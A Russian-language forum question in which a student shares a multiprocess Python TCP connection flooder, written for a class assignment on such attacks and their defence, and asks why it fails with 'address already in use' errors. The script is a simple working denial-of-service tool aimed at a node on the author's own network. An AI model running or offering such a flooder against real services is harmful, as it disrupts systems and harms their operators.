Только одно использование каждого адреса сокета (протокол / сетевой адрес / порт) обычно допускается ошибка в простом спамере Python - PullRequest
0 голосов
/ 02 апреля 2019

Моим заданием было создание простого TCP-флудера (просто постоянно подключенного к какому-либо TCP-узлу) и защита от такого рода атак.

Так вот что у меня как флудер:

def ping_ponger(address, port, number, q):
print("Thread #{} is set up and running".format(number))
while q.value == 0:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((address, port))
    s.close()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Ping-pong given node to death")
    parser.add_argument("-a", type=str, help="target node address")
    parser.add_argument("-p", type=int, help="target node port")
    parser.add_argument("-n", type=int, help="number of threads")
    parser = parser.parse_args()

    thread_list = []
    num = Value('d', 0.0)
    for x in range(parser.n):
        thread_list.append(Process(target=ping_ponger, args=(parser.a, parser.p, x, num)))
        thread_list[x].start()
    sleep(1)
    input("Press any key to end this misery")
    num.value = 1

Основная идея заключалась в том, чтобы спамить из нескольких потоков, постоянно подключаться, а затем ничего не делать. Проблема в том, что я получаю эту ошибку

OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted

сразу после перезапуска кода или через 10-15 секунд работы

Я использую Win10 и подключаюсь к другой машине в моей локальной сети, которая работает на WSL (Ubuntu 18) на Win10.

Я пытался сделать сокеты "тайм-аутом"

s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

Не повезло здесь. Затем я просто скопировал код из функции потока в "main". Все еще не повезло.

Я думаю, что это потому, что он «истощает» свободные порты, и тогда возникает проблема, но я закрываю сокеты после подключения, так что это не должно быть здесь.

Что с этим не так?

UPD 1 Я попытался запустить это из моего WSL, и получил еще одну ошибку

OSError: [Errno 98] Address already in use

И это странно, потому что ОС должна предоставить мне свободный адрес, когда я вызываю socket.socket ()

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...